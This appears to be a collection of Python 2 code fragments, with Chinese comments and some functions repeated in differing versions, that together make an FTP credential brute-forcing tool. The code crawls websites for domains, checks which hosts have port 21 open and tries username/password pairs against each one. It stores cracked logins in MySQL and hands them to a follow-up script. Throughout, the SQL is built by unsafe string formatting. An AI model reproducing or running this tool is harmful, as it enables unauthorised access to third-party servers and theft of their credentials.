def mysql_add(data1): #添加到数据库 try: # print "++++++++++++++++++++",data #添加数据 sql = "select * from url where url='%s'" % (data1) data = mysql.mysql_select(sql) if data.find('null123456'): #print u"已经有了这个URL",data1 return 0 else: #没有可以添加 #print data1 if ~(data1.find("/") and data1.find("http") and data1.find("?") and data1.find("%")): #print u"非法URL" return 0 else: LS.liet_add(data1) #添加到数组 if LS.liet_CX("AAAAA"): #查询数据是否存在 print u"\n数组里以有这个域名不添加", data1 return 0 else: #print u"无" insert = "insert into url(url,time) VALUES('%s','%s')" % ( data1, time.strftime('%Y.%m.%d-%H.%M.%S')) #print insert if mysql.mysql_insert(insert): #添加数据 mysql.mysql_S() #提交 print u"\n添加成功", data1 else: print u"\n添加失败", data1 except: return 0
def sql_sel(): #SQL查询 try: global INI_data1 #扫描过FTP个 global INI_data2 #扫描出个密码 print u"-------扫描过FTP:%s个/扫描出:%s个密码-------" % (INI_data1, INI_data2) try: #检测网络连接状态 urllib2.urlopen(r"http://www.163.com", timeout=10) #print u"网络连接成功" #return 1 except: print u"网络无连接 重启程序自身" mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 atexit.register(close) #自动重启本程序 sql = "select * from ftp where ftpsend is NULL limit 1" mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): INI_data1 = INI_data1 + 1 #扫描过FTP个 www_port(row[0]) #www转换IP在查看端口 #print row[0] #time.sleep(3) #延时 except: print u"读取URL异常!!!!!" print u"3秒后,程序将结束重启..." mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 atexit.register(close) #自动重启本程序
def host_ftp(host): #测试URL FTP是否开放 try: if host == '': #传入值等于空 返回 print u"传入地址不能为空" time.sleep(1) #确保先运行Seeker中的方法 #sql_sel() #SQL查询 return 0 ftpB = FTP() #初始化FTP类 ftpB.connect(host,21) #连接 服务器名 端口号 ftpB.quit() #退出ftp服务器 sql_up(host,"send") print u"连接成功添加url:",host sql="insert into ftp (url,time) VALUES ('%s','%s')"%(host,time.strftime('%Y.%m.%d-%H.%M.%S')) mysql.mysql_insert(sql) #添加到数据库 mysql.mysql_S() #保存数据 open_mysql() #SQL查询 #SQL修改数据 # if sql_up(host,"send"): # print host,u"服务器FTP21端口开放-修改成功", # print u"(∩_∩)" #添加成功 # open_mysql() #SQL查询 # return 1 # else: # print host,u"服务器FTP21端口开放-修改失败", # print u"(╯▽╰)" #添加失败 # open_mysql() #SQL查询 # return 0 except: print host,u"服务器FTP21端口可能没有开放", sql_up(host,"no21") #SQL修改数据 open_mysql() #SQL查询 return 0
def URL_DZ(URL): #遍历页里的地址 try: LS = list.Clist() #初始化类 LS.list_del() #清空list列表 s = urllib2.urlopen( URL, timeout=10) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile(r'<a.+?href=.+?>.+?</a>') pname = re.compile(r'(?<=>).*?(?=</a>)') phref = re.compile(r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss) #找出一条一条的<a></a>标签 #这添加到数组在过滤重复值减少mysql压力 i = 0 for every in sarr: if i >= 3000: print u"超过3000个URL地址!!!!!!\n" break else: i += 1 sname = pname.findall(every) if sname: sname = sname[0] shref = phref.findall(every) if shref: shref = shref[0] #print sname.decode( 'gbk' ), "\n" #获取连接名字 #print shref #获取URL if URL_STR(shref): print shref, u"非法HTTP地址" else: #print shref #"查找到了正确URL地址" a1 = URL_TQURL(shref) #URL提取URL LS.liet_add(a1) #添加到数组 LS.liet_lsqc() #数组列表去重复 print u"原URL数据量:", len(LS.list) print u"去掉重复URL剩下数据量:", len(LS.list_2) time.sleep(1) E = 0 #得到list的第一个元素 while E < len(LS.list_2): #添加到数据库 if mysql_add(LS.list_2[E]): print "_-_" #添加成功 else: print "-_-" #添加失败 #print "\n",LS.list_2[E], E = E + 1 mysql.mysql_S() #保存数据 print u"-----------------------URL列表添加完成-----------------------" open_mysql() #读取URL # 上面是将每条<a></a>里面的内容和地址给匹配出来 except: print u"这个URL地址无效!!!!!!!!!!!!!!" mysql.mysql_S() #保存数据 open_mysql() #读取URL
def run(self): MAX_RETRIES = 10 retry = 0 account = None #None=NULL 数组 while self.running and accounts: #list数组 try: self.ftp.connect(domain, port) #连接 服务器名 端口号 except Exception, e: if retry <= MAX_RETRIES: #这是为了控制线程吗 retry = retry + 1 #没必要使用这个变量啊 continue #跳过 else: self.running = False #这是 控制线程 break #跳出 print ".", #重新每三次 为什么一个账户要连接3次 呢 loop_num = 0 while loop_num < 3: loop_num = loop_num + 1 if not account and accounts: #list数组 account = accounts.pop() #list数组 输出 #绝对不要尝试 if not account: #数组无数据了就跳出 break #跳出 #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1] #print ".", print "&\r", try: self.ftp.login(account[0], account[1]) #连接FTP #没有异常发生,这是一个正确的帐号 print u'\nFTP连接成功IP:', host, u"用户名:", account[ 0], u"密码:", account[1] mysql.mysql_open() #连接数据库 sql = "insert into ftppassword(IP,user,password,time) values('%s','%s','%s','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) mysql.mysql_insert(sql) #添加到数据库 mysql.mysql_S() #保存数据 os.system('python adminFTP.py %s %s %s' % (host, account[0], account[1])) account = None #None=NULL except Exception, e: emsg = str(e) #调试信息 print "/\r", if 'connection' in emsg.lower( ) or 'tries' in emsg.lower( ): #判断 连接 失败错误信息 不明白何意 retry = retry + 1 break #跳出 else: #reset retry account = None #None=NULL retry = 0
def sql_up(url, data): #SQL修改数据 try: up = "update url1 set ftpsend='%s' where url='%s'" % (data, url) if mysql.mysql_update(up): #修改数据 print url, u"修改数据库成功" else: print url, u"修改数据库失败" mysql.mysql_S() #保存数据 except: return 0
def run(self): MAX_RETRIES = 10 retry = 0 account = None #None=NULL 数组 while self.running and accounts: #list数组 try: #个不错我觉得不错 当连接失败 为什么后面还要进行 组合连接尝试呢 # 我觉得其实后面 就没必要在进行组合了 为什么这个不在进入类之前就开始判断呢 或者进入类的时候 self.ftp.connect(domain, port) #连接 服务器名 端口号 except Exception, e: if retry <= MAX_RETRIES: #这是为了控制线程吗 retry = retry + 1 #没必要使用这个变量啊 continue #跳过 else: self.running = False #这是 控制线程 break #跳出 #重新每三次 为什么一个账户要连接3次 呢 loop_num = 0 while loop_num < 3: loop_num = loop_num + 1 if not account and accounts: #list数组 account = accounts.pop() #list数组 输出 #绝对不要尝试 if not account: #数组无数据了就跳出 break #跳出 #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1] print ".", try: self.ftp.login(account[0], account[1]) #连接FTP #没有异常发生,这是一个正确的帐号 print "" print u'找到FTP成功:IP', host, u"用户名:", account[ 0], u"密码:", account[1] sql = "insert into ftp(IP,user,password,time) values('%s','%s','%s','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) #print sql mysql.mysql_insert(sql) #添加到数据库 mysql.mysql_S() #保存数据 account = None #None=NULL except Exception, e: emsg = str(e) #调试信息 if 'connection' in emsg.lower( ) or 'tries' in emsg.lower( ): #判断 连接 失败错误信息 不明白何意 retry = retry + 1 break #跳出 else: #reset retry account = None #None=NULL retry = 0
def open_mysql(): #读取URL try: global INI_data1 #扫描过URL个 try: #检测网络连接状态 urllib2.urlopen(r"http://www.163.com", timeout=10) #print u"网络连接成功" #return 1 except: print u"网络无连接 重启程序自身" mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 atexit.register(close) #自动重启本程序 sql = "select * from url where httpsend is NULL limit 1" data = mysql.mysql_select(sql) #print U"数据库URL",data if ~data.find("null123456"): print u"可能无读取的数据请查看数据库!!!!!" mysql.mysql_S() #保存数据 time.sleep(1) #3秒 atexit.register(close) #自动重启本程序 update = "update url set httpsend='send' where url='%s'" % (data) mysql.mysql_update(update) mysql.mysql_S() #保存数据 url_data = "http://" + data print u"读取URL:", url_data INI_data1 = INI_data1 + 1 URL_DZ(url_data) #遍历页里的地址 except: print u"读取URL异常!!!!!" print u"3秒后,程序将结束重启..." mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 #close() #自动重启本程序 atexit.register(close) #自动重启本程序
def sql_cx(data): #SQL查询 try: sql = "select * from url where url like '%%%s'" % (data) mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): up = "update url set ftpsend='NO' where url='%s'" % (row[0]) if mysql.mysql_update(up): #修改数据 print row[0], u"修改成功" else: print row[0], u"修改失败" mysql.mysql_S() #保存数据 except: return 0
def sql_sel(): #SQL查询 try: sql="select * from url where ftpsend is NULL limit 1" mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): www_port(row[0]) #www转换IP在查看端口 #print row[0] time.sleep(3) #延时 except: print u"读取URL异常!!!!!" print u"3秒后,程序将结束重启..." mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 atexit.register(close)#自动重启本程序
def sql_sel(): #SQL查询 try: a=random.randrange(1,8) #产生一个随机数8以内的 time.sleep(a) #确保先运行Seeker中的方法 sql="select * from ftp where ftpsend is NULL limit 1" mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): FTP_username(row[0]) #导入密码组合方式 except: print u"SQL读取URL异常!!!!!" #print u"3秒后,程序将结束重启..." mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 #close() #自动重启本程序 atexit.register(close)#自动重启本程序
def sql_sel(): #SQL查询 try: a = random.randrange(1, 8) #产生一个随机数8以内的 time.sleep(a) #确保先运行Seeker中的方法 sql = "select * from ftp where ftpsend is NULL limit 1" mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): FTP_username(row[0]) #导入密码组合方式 except: print u"SQL读取URL异常!!!!!" #print u"3秒后,程序将结束重启..." mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 #close() #自动重启本程序 atexit.register(close) #自动重启本程序
def ftp_login(self, host, nthreads=10, port=21): #传入名域名开始扫描 #尝试登录 if success return username & password #print u"要扫描IP:",host, try: ftpA = FTP() #初始化FTP类 ftpA.connect(host, port) #连接 服务器名 端口号 upf1 = "update ftp set ftpsend='send' where url='%s'" % (host) mysql.mysql_update(upf1) #修改数据 mysql.mysql_S() #保存数据 except Exception, e: print u"%s服务器FTP21端口可能没有开放" % host upf2 = "update ftp set ftpsend='====' where url='%s'" % (host) mysql.mysql_update(upf2) #修改数据 mysql.mysql_S() #保存数据 #linlkFTP.sql_sel() #SQL查询 return
def sql_up(url,data): #SQL修改数据 try: up = "update ftp set ftpsend='%s' where url='%s'"%(data.encode('utf-8'),url) if mysql.mysql_update(up): #修改数据 print url,u"修改数据库",data,u"成功\n" mysql.mysql_S() #保存数据 #a=random.randrange(1,4) #产生一个随机数8以内的 #time.sleep(a) #确保先运行Seeker中的方法 return 1 else: print url,u"修改数据库",data,u"失败\n" mysql.mysql_S() #保存数据 #b=random.randrange(5,15) #产生一个随机数8以内的 #time.sleep(b) #确保先运行Seeker中的方法 return 0 #mysql.mysql_S() #保存数据 except: return 0
def URL_DZ(URL): #遍历页里的地址 try: s = urllib2.urlopen( URL, timeout=10) # 超时10秒 #s = urllib2.urlopen(r"http://www.163.com") ss = s.read() p = re.compile(r'<a.+?href=.+?>.+?</a>') pname = re.compile(r'(?<=>).*?(?=</a>)') phref = re.compile(r'(?<=href\=\").*?(?=\")') #构造及编译正则表达式 sarr = p.findall(ss) #找出一条一条的<a></a>标签 i = 0 for every in sarr: if i > 1000: print u"超过1000个URL地址!!!!!!\n" break else: i += 1 sname = pname.findall(every) if sname: sname = sname[0] shref = phref.findall(every) if shref: shref = shref[0] #print sname.decode( 'gbk' ), "\n" #获取连接名字 #print shref #获取URL if URL_STR(shref): #print shref,u"没有找到非法HTTP地址" print "#", else: #print shref #"查找到了正确URL地址" a1 = URL_TQURL(shref) #URL提取URL # print "" # print a1 mysql_add(a1) #添加到数据库 # mysql.mysql_S() #保存数据 # open_mysql() #读取URL # 上面是将每条<a></a>里面的内容和地址给匹配出来 except: #print u"这个URL地址无效!!!!!!!!!!!!!!" mysql.mysql_S() #保存数据
def open_mysql(): #读取URL # sql="select * from url where httpsend is NULL limit 1" # data = mysql.mysql_select(sql) # if ~data.find("null123456"): # while True: #进入死循环不读取 # print "可能无读取的数据请查看数据库!!!!!" # time.sleep(3) #3秒 ############## # else: # update = "update url set time='%s',httpsend='send' where url='%s'"%(time.strftime('%Y.%m.%d-%H.%M.%S'),data) # mysql.mysql_update(update) # mysql.mysql_S() #保存数据 # url_data = "http://"+data # print "读取URL:",url_data # URL_DZ(url_data) #遍历页里的地址 ############## try: sql = "select * from url where httpsend is NULL limit 1" data = mysql.mysql_select(sql) print U"数据库URL", data if ~data.find("null123456"): print u"可能无读取的数据请查看数据库!!!!!" mysql.mysql_S() #保存数据 time.sleep(1) #3秒 #open_mysql() #读取URL atexit.register(close) #自动重启本程序 update = "update url set time='%s',httpsend='send' where url='%s'" % ( time.strftime('%Y.%m.%d-%H.%M.%S'), data) mysql.mysql_update(update) mysql.mysql_S() #保存数据 url_data = "http://" + data print u"读取URL:", url_data URL_DZ(url_data) #遍历页里的地址 except: print u"读取URL异常!!!!!" print u"3秒后,程序将结束重启..." mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 #close() #自动重启本程序 atexit.register(close) #自动重启本程序
def sql_up(url,data): #SQL修改数据 try: up = "update url set ftpsend='%s' where url='%s'"%(data.encode('utf-8'),url) if mysql.mysql_update(up): #修改数据 print url,u"修改数据库",data,u"成功\n" mysql.mysql_S() #保存数据 a=random.randrange(1,4) #产生一个随机数8以内的 time.sleep(a) #确保先运行Seeker中的方法 return 1 else: print url,u"修改数据库",data,u"失败\n" mysql.mysql_S() #保存数据 b=random.randrange(5,15) #产生一个随机数8以内的 time.sleep(b) #确保先运行Seeker中的方法 return 0 #mysql.mysql_S() #保存数据 except: print u"修改数据出错" mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 #close() #自动重启本程序 atexit.register(close)#自动重启本程序
def open_mysql(): #读取URL try: sql="select * from url where ftpsend is NULL limit 1" data = mysql.mysql_select(sql) #print U"数据库URL",data if ~data.find("null123456"): print u"可能无读取的数据请查看数据库!!!!!" mysql.mysql_S() #保存数据 time.sleep(1) #3秒 atexit.register(close)#自动重启本程序 update = "update url set ftpsend='send' where url='%s'"%(data) mysql.mysql_update(update) mysql.mysql_S() #保存数据 #url_data = "http://"+data print u"测试URLFTP:",data host_ftp(data) #测试URL FTP是否开放 except: print u"读取URL异常!!!!!" print u"3秒后,程序将结束重启..." mysql.mysql_S() #保存数据 mysql.mysql_close() #关闭数据库 #close() #自动重启本程序 atexit.register(close)#自动重启本程序
import sys import mysql #数据库操作文件 if __name__ == '__main__': #mysql.mysql_open() #连接数据库 #sql_sel() #SQL查询 if len(sys.argv) != 4: print '传入参数不对python c1.py %s %s %s\n' else: mysql.mysql_open() #连接数据库 print u"连接测试URLFTP开始:", sys.argv[1].strip() if ftpconnect(sys.argv[1].strip(), sys.argv[2].strip(), sys.argv[3].strip()): #连接FTP #print "连接成功" print sys.argv[1].strip(), u"扫描完成===FTP状态:", ftpID print u"IP:", sys.argv[1].strip(), u"用户名:", sys.argv[2].strip( ), u"密码:", sys.argv[3].strip(), u"连接成功" else: #print "连接失败" print sys.argv[1].strip(), u"扫描完成===FTP状态:", ftpID print u"IP:", sys.argv[1].strip(), u"用户名:", sys.argv[2].strip( ), u"密码:", sys.argv[3].strip(), u"连接失败" up = "update ftppassword set data='%d',time='%s' where IP='%s' and user='******' and password='******'" % ( ftpID, time.strftime('%Y.%m.%d-%H.%M.%S'), sys.argv[1].strip(), sys.argv[2].strip(), sys.argv[3].strip()) if mysql.mysql_update(up): #修改数据 print sys.argv[1].strip(), u"修改数据库成功\n" else: print sys.argv[1].strip(), u"修改数据库失败\n" mysql.mysql_S() #保存数据